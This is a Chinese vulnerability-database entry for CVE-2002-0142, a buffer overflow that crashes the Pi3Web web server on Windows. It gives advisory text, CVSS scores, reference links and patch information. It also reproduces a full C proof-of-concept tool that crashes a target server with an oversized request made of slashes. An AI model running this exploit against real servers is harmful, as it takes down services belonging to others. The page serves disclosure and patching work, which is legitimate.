CVE-2002-0142
CVSS7.5
发布时间 :2002-03-25 00:00:00
修订时间 :2016-10-17 22:16:31
NMCOES    

[原文]CGI handler in John Roy Pi3Web for Windows 2.0 beta 1 and 2 allows remote attackers to cause a denial of service (crash) via a series of requests whose physical path is exactly 260 characters long and ends in a series of . (dot) characters.


[CNNVD]John Roy Pi3Web超长请求远程缓冲区溢出漏洞(CNNVD-200203-049)

        
        John Roy Pi3Web是一个免费的、多线程的、高度可定制、可扩展的HTTP服务器,它也提供了对CGI和ISAPI的支持。Pi3Web有Windows、Linux、Solaris下的版本可供使用。
        Pi3Web for Windows v2.0 beta1和beta2在处理超长的CGI请求时存在一个缓冲区溢出漏洞,可能使Pi3Web服务器拒绝服务。
        当向Pi3Web服务器发送几次带超长(超过260字符长并以一串'.'结束)的CGI文件请求时,服务器程序会因为缓冲区溢出而崩溃。服务器必须重新启动以恢复正常功能。
        此问题只影响for windows版本。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0142
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0142
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200203-049
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=101164598828093&w=2
(UNKNOWN)  BUGTRAQ  20020121 Re: Pi3Web Webserver v2.0 Buffer Overflow Vulnerability
http://marc.info/?l=ntbugtraq&m=101102275316307&w=2
(UNKNOWN)  NTBUGTRAQ  20020113 Pi3Web Webserver v2.0 Buffer Overflow Vulnerability
http://online.securityfocus.com/archive/1/250126
(UNKNOWN)  BUGTRAQ  20020114 Pi3Web Webserver v2.0 Buffer Overflow Vulnerability
http://sourceforge.net/tracker/index.php?func=detail&aid=505583&group_id=17753&atid=317753
(UNKNOWN)  CONFIRM  http://sourceforge.net/tracker/index.php?func=detail&aid=505583&group_id=17753&atid=317753
http://www.iss.net/security_center/static/7880.php
(VENDOR_ADVISORY)  XF  pi3web-long-parameter-bo(7880)
http://www.securityfocus.com/bid/3866
(UNKNOWN)  BID  3866

- 漏洞信息

John Roy Pi3Web超长请求远程缓冲区溢出漏洞
高危 边界条件错误
2002-03-25 00:00:00 2006-09-23 00:00:00
远程  
        
        John Roy Pi3Web是一个免费的、多线程的、高度可定制、可扩展的HTTP服务器,它也提供了对CGI和ISAPI的支持。Pi3Web有Windows、Linux、Solaris下的版本可供使用。
        Pi3Web for Windows v2.0 beta1和beta2在处理超长的CGI请求时存在一个缓冲区溢出漏洞,可能使Pi3Web服务器拒绝服务。
        当向Pi3Web服务器发送几次带超长(超过260字符长并以一串'.'结束)的CGI文件请求时,服务器程序会因为缓冲区溢出而崩溃。服务器必须重新启动以恢复正常功能。
        此问题只影响for windows版本。
        

- 公告与补丁

        临时解决方法:
        此问题没有合适的临时解决方法,您应该立刻联系厂商以获取补丁或升级软件。
        厂商补丁:
        John Roy
        --------
        目前厂商已经发布了Pi3Web v2.0.0以修复这个安全问题,请到厂商的主页下载:
        
        http://sourceforge.net/projects/pi3web/

- 漏洞信息 (21225)

John Roy Pi3Web 2.0 For Windows Long Request Buffer Overflow Vulnerability (EDBID:21225)
windows remote
2002-01-14 Verified
0 aT4r
N/A [点击下载]
source: http://www.securityfocus.com/bid/3866/info

John Roy Pi3Web is a standard web server which includes CGI and ISAPI support. Pi3Web uses multithreading to handle system requests. Pi3Web is available for Windows, Linux and Solaris.

Due to a buffer overflow vulnerability in John Roy Pi3Web web server, it is possbile for an attacker to cause the server to stop responding and possibly execute code.

Reportedly the problem is due to the CGI parameter's handling of unusually crafted requests. 

/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
*		when a malformed HTTP Request is done the webserver hangs due to an stack overflow.
* 		GET /////////..[354]../////////
*
* Found by aT4r@3wdesign.es  04/26/2003
* Copyright (c) 2003 www.3wdesign.es Security
* THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES.
* USE IT AT YOUR OWN RISK.
*
* #haxorcitos @ efnet Rocks!!!
* Feel The p0wer of aT4r, Drakar, [Back], |tyr|, Tarako, croulder
* Compiled with: lcc-win32 v3.3.
*
*/
#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;


int isalive(int OPT)
{
	struct sockaddr_in haxorcitos;
	int fd;

	haxorcitos.sin_port = htons(port);
	haxorcitos.sin_family = AF_INET;
	haxorcitos.sin_addr.s_addr = inet_addr(ip);

	if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
	{
		printf(" [-] Unable to Create Socket\n\n");
		return(0);
	}
	if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
	{
		if (OPT==0)
			printf(" [+] Exploit Success. Remote webserver shutdown\n");
		else
			printf(" [-] Unable to connect\n\n");
		return(0);
	}
	if (OPT==0)
	{
		printf(" [-] Exploit Failed. System Patched?\n\n");
	}
	else
	{
		send(fd,evilbuffer, strlen(evilbuffer),0);
		printf(" [+] Data Sent. Now Checking Host\n");
		closesocket(fd);

	}
return(1);
}


void usage(void)
{
	printf(" [+] Usage: PiDoS.exe HOST [port]\n\n");	exit(1);
}


void main(int argc,char *argv[])
{
	WSADATA ws;

	if	(WSAStartup( MAKEWORD(1,1), &ws )!=0)
	{
		printf(" [+] WSAStartup() error\n");
		exit(0);
	}

	printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :... 
..\n\n");

	if ((argc!=2) && (argc!=3))
		usage();

	strcpy(ip,argv[1]);
	if (argc==3) port=atoi(argv[2]);

	memset(evilrequest,0,512);
	memset(evilbuffer,0,1024);
	memset(evilrequest,'/',354);
	//sprintf(evilbuffer, "GET %s\r\n",evilrequest);
	sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

	if (isalive(1))
		{ sleep(1000); isalive(0);}

}

		

- 漏洞信息

5777
Pi3Web CGI Handler Long Parameter Handling Overflow
Remote / Network Access Denial of Service, Input Manipulation
Loss of Integrity, Loss of Availability Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

John Roy Pi3Web is a standard web server which includes CGI and ISAPI support. Pi3Web uses multithreading to handle system requests. Pi3Web is available for Windows, Linux and Solaris. Due to a buffer overflow vulnerability in John Roy Pi3Web web server, it is possbile for an attacker to cause the server to stop responding and possibly execute code. Reportedly the problem is due to the CGI parameter's handling of unusually crafted requests. Server crashes after sending very long cgi parameter a few times. Ex: http://host/cgi-bin/hello.exe.....<224 char>......

- 时间线

2002-01-13 Unknow
2002-01-13 Unknow

- 解决方案

Apply the security patch available at http://sourceforge.net/tracker/index.php?func=detail&aid=505583&group_id=17753&atid=317753.

- 相关参考

- 漏洞作者

- 漏洞信息

John Roy Pi3Web For Windows Long Request Buffer Overflow Vulnerability
Boundary Condition Error 3866
Yes No
2002-01-14 12:00:00 2009-07-11 09:56:00
Discovered and posted to Bugtraq by Tamer Sahin <tamer@ONAR.COM.TR>.

- 受影响的程序版本

John Roy Pi3Web for Windows 2.0.1
John Roy Pi3Web for Windows 2.0 .0
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT Server 4.0 SP6a
- Microsoft Windows NT Server 4.0 SP6
- Microsoft Windows NT Server 4.0 SP5
- Microsoft Windows NT Server 4.0 SP4
- Microsoft Windows NT Server 4.0 SP3
- Microsoft Windows NT Server 4.0 SP2
- Microsoft Windows NT Server 4.0 SP1
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Workstation 4.0 SP6a
- Microsoft Windows NT Workstation 4.0 SP6
- Microsoft Windows NT Workstation 4.0 SP5
- Microsoft Windows NT Workstation 4.0 SP4
- Microsoft Windows NT Workstation 4.0 SP3
- Microsoft Windows NT Workstation 4.0 SP2
- Microsoft Windows NT Workstation 4.0 SP1
- Microsoft Windows NT Workstation 4.0
John Roy Pi3Web 2.0
- Linux kernel 2.2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Sun Solaris 8_sparc
- Sun SunOS 5.8

- 漏洞讨论

John Roy Pi3Web is a standard web server which includes CGI and ISAPI support. Pi3Web uses multithreading to handle system requests. Pi3Web is available for Windows, Linux and Solaris.

Due to a buffer overflow vulnerability in John Roy Pi3Web web server, it is possbile for an attacker to cause the server to stop responding and possibly execute code.

Reportedly the problem is due to the CGI parameter's handling of unusually crafted requests.

- 漏洞利用

Exploit contributed by &lt;aT4r@3wdesign.es&gt;.

- 解决方案

The vendor has released the following patch which rectifies this issue:


John Roy Pi3Web for Windows 2.0 .0

John Roy Pi3Web 2.0

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站